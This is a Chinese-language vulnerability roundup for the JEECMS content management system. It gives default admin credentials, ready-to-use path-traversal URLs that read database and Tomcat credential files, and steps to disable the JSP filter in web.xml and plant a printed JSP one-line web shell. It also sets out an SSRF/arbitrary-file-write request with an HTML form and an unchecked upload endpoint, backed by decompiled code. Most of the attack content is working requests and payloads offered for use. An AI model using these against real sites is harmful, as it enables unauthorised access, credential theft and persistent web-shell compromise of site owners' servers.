Jeecms内容管理发布漏洞一览
[TOC]
0x00 前言
描述:JEECMS是基于java技术开发继承其强大、稳定、安全、高效、跨平台等多方面的优点;
采用SpringMVC3+Spring3+Hibernate3+Freemarker
主流技术架构安全性做得非常变态,当网站安装完成后就不再允许执行任何目录下的jsp文件了web.xml配置了过滤器禁止了很多种动态脚本
。
cms版本特征:
#2.x后台
login/Jeecms.do
#3.x后台
jeeadmin/jeecms/index.do
漏洞一览:
- 缺省账号/密码
- 2.x版本文件读取:Com_edit.do
- 3.x版本文件读取:v_edit.do
1.缺省账号密码
- 默认账户:admin
- 默认密码:password
2.x 版本缺陷
#JEECMS2.x版读取路径:
admin/core/template/Com_edit.do?relPath=../../../classes/jdbc.properties
#JEECMS2.x版读取路径:
admin/core/template/Com_edit.do?relPath=../../../web.xml
#JEECMS2.x版读取路径:
admin/core/template/Com_edit.do?relPath=../../../../installinstall_setup.jsp
3.x 版本缺陷
常规
#获取tomcat密码:
/jeeadmin/jeecms/template/v_edit.do?root=../../conf/&name=../../conf/tomcat-users.xml
#获取JDBC数据库账号密码:
/jeeadmin/jeecms/template/v_edit.do?root=%2FWEB-INF%2Fconfig%2F&name=%2FWEB-INF%2Fconfig%2Fjdbc.properties
#修改web.xml取消对jsp的过滤:
/jeeadmin/jeecms/template/v_edit.do?root=%2FWEB-INF%2F&name=%2FWEB-INF%2Fweb.xml
#修改install/install_setup.jsp:
/jeeadmin/jeecms/template/v_edit.do?root=%2Finstall%2F&name=%2Finstall%2Finstall_setup.jsp
#插入Jsp一句话:
<%
if(request.getParameter("f")!=null)( new java.io.FileOutputStream(application.getRealPath("("f")) ).write(request.getParameter("t").getBytes());
%>
#修改后的一句话目录
/install/install_setup.jsp
#一句话连接成功后的jsp大马目录:
/ma.jsp
7.x 版本缺陷
任意文件上传
漏洞危害:远程攻击者可借助upfile参数利用服务器端请求伪造漏洞漏洞获取敏感信息,攻击内部网络主机或写入恶意文件。
影响版本: jeecms V6/v7版本
脆弱接口: /ueditor/getRemoteImage.jspx
描述:源码中寻找getRemoteImage.jspx文件,服务器上未发现该文件了。尝试用内容匹配的方式去寻找存在问题的class组件。
使用everything的content文件内容匹配功能查找相关接口EeditorAct.class
,并且对其进行反编译分析接口如下图所示:
WeiyiGeek.
代码:
WeiyiGeek.
远程文件的url直接由客户端的upfile参数传入,之后以ue_separate_ue为分隔符来进行分割,之后直接调用saveRemoteImage函数,下面跟进saveRemoteImage函数:
WeiyiGeek.
该函数直接调用HttpClient类建立连接,读取字节流,然后通过UploadUtils.generateFilename来获取保存路径,此处只用Apache的FileNameUtils.getFileSufix方法来获取扩展名,没有进行任何验证。最后通过IOUtils.copy完成文件的创建。
原因:该接口的主要功能是读取远程服务器上的资源并且未对资源的类型或者后缀进行判断并直接将其写入到/u/cms/www/目录下。 此处同样存在SSRF漏洞,也就是说通过该接口可以探测内网、访问公网,又由于此处存在了任意文件写入才导致了黑页的写入。 数据包转换地址:http://ld8.me/multipart.php
漏洞演示:转换之后服务器端发送的数据包如下:
POST /ueditor/getRemoteImage.jspx HTTP/1.1
Host: 192.168.231.133:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2188.2 Safari/537.36
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=A8872FC0A3E148E7A262F1A3D31B8FF9; _site_id_cookie=1; clientlanguage=zh_CN
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Content-Disposition: form-data; name="upfile"
http://192.168.231.134/test.html
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC--
由于代码端上传的时候直接是用参数upfile,为了方便构造数据包也可以直接构造一个表单来完成此次的操作。表单构造内容如下图所示:
<form action="http://192.168.231.133:8080/ueditor/getRemoteImage.jspx" method="post" enctype="multipart/form-data">
<input name="upfile" value="ue_separate_ue">
<input type="submit">
</form>
WeiyiGeek.
之后进行表单提交和BurpSuite重放数据库包即可;
任意文件上传 漏洞说明:该系统提供swfAttach文件上传功能,其中对用户提交的上传文件没有进行充分的检查,导致任意注册用户在前台即可上传任意格式的文件。 利用场景:前台注册用户。默认注册地址:http://www.xxx.com/register.jspx
@RequestMapping(value = "/member/o_swfAttachsUpload.jspx", method = RequestMethod.POST)
public void swfAttachsUpload(
String root,
Integer uploadNum,
@RequestParam(value = "Filedata", required = false) MultipartFile file,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception{
super.swfAttachsUpload(root, uploadNum, file, request, response, model);
}
跟进swfAttachsUpload:
protected void swfAttachsUpload(
String root,
Integer uploadNum,
@RequestParam(value = "Filedata", required = false) MultipartFile file,
HttpServletRequest request, HttpServletResponse response,
ModelMap model) throws Exception {
JSONObject data=new JSONObject();
WebCoreErrors errors = validateUpload( file, request);
if (errors.hasErrors()) {
data.put("error", errors.getErrors().get(0));
ResponseUtils.renderJson(response, data.toString());
}else{
CmsSite site = CmsUtils.getSite(request);
String ctx = request.getContextPath();
String origName = file.getOriginalFilename();
String ext = FilenameUtils.getExtension(origName).toLowerCase(
Locale.ENGLISH);
String fileUrl="";
try {
if (site.getConfig().getUploadToDb()) {
String dbFilePath = site.getConfig().getDbFileUri();
fileUrl = dbFileMng.storeByExt(site.getUploadPath(), ext, file
.getInputStream());
fileUrl = request.getContextPath() + dbFilePath + fileUrl;
} else if (site.getUploadFtp() != null) {
Ftp ftp = site.getUploadFtp();
String ftpUrl = ftp.getUrl();
fileUrl = ftp.storeByExt(site.getUploadPath(), ext, file
.getInputStream());
fileUrl = ftpUrl + fileUrl;
} else {
fileUrl = fileRepository.storeByExt(site.getUploadPath(), ext,
file); //没有进行合法文件后缀检查。
fileUrl = ctx + fileUrl;
}
cmsUserMng.updateUploadSize(CmsUtils.getUserId(request), Integer.parseInt(String.valueOf(file.getSize()/1024)));
fileMng.saveFileByPath(fileUrl, origName, false); //没有进行合法文件后缀检查
model.addAttribute("attachmentPath", fileUrl);
} catch (IllegalStateException e) {
model.addAttribute("error", e.getMessage());
} catch (IOException e) {
model.addAttribute("error", e.getMessage());
}
data.put("attachUrl", fileUrl);
data.put("attachName", origName);
ResponseUtils.renderJson(response, data.toString());
}
}
通过构造以下表单,就可以进行测试:
WeiyiGeek.
注意事项
- 2.X 在后台可以上传媒体格式为jsp的文件
- web.xml 修改后需要重启服务器(自动加载更新的除外)
参考附录
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 并发情况下,单例模式之双重检验锁陷阱
- Android多种方式实现相机圆形预览的示例代码
- composer 下载太慢,无法完成安装
- 数字签名与数字证书
- Android TreeView实现带复选框树形组织结构
- Discuz! Q在Windows下CA根证书库错误
- 6种查看Linux进程占用端口号的方法详解
- Flutter 侧滑栏及城市选择UI的实现方法
- 使用iptable和Firewalld工具来管理Linux防火墙连接规则
- 如何使用Flutter开发一款电影APP详解
- Linux获取10个你最常用的终端命令列表
- Flutter banner_view 轮播图的使用及实现代码
- Linux下截屏并编辑的最佳工具
- Android Native 内存泄漏系统化解决方案
- flutter ExpansionTile 层级菜单的实现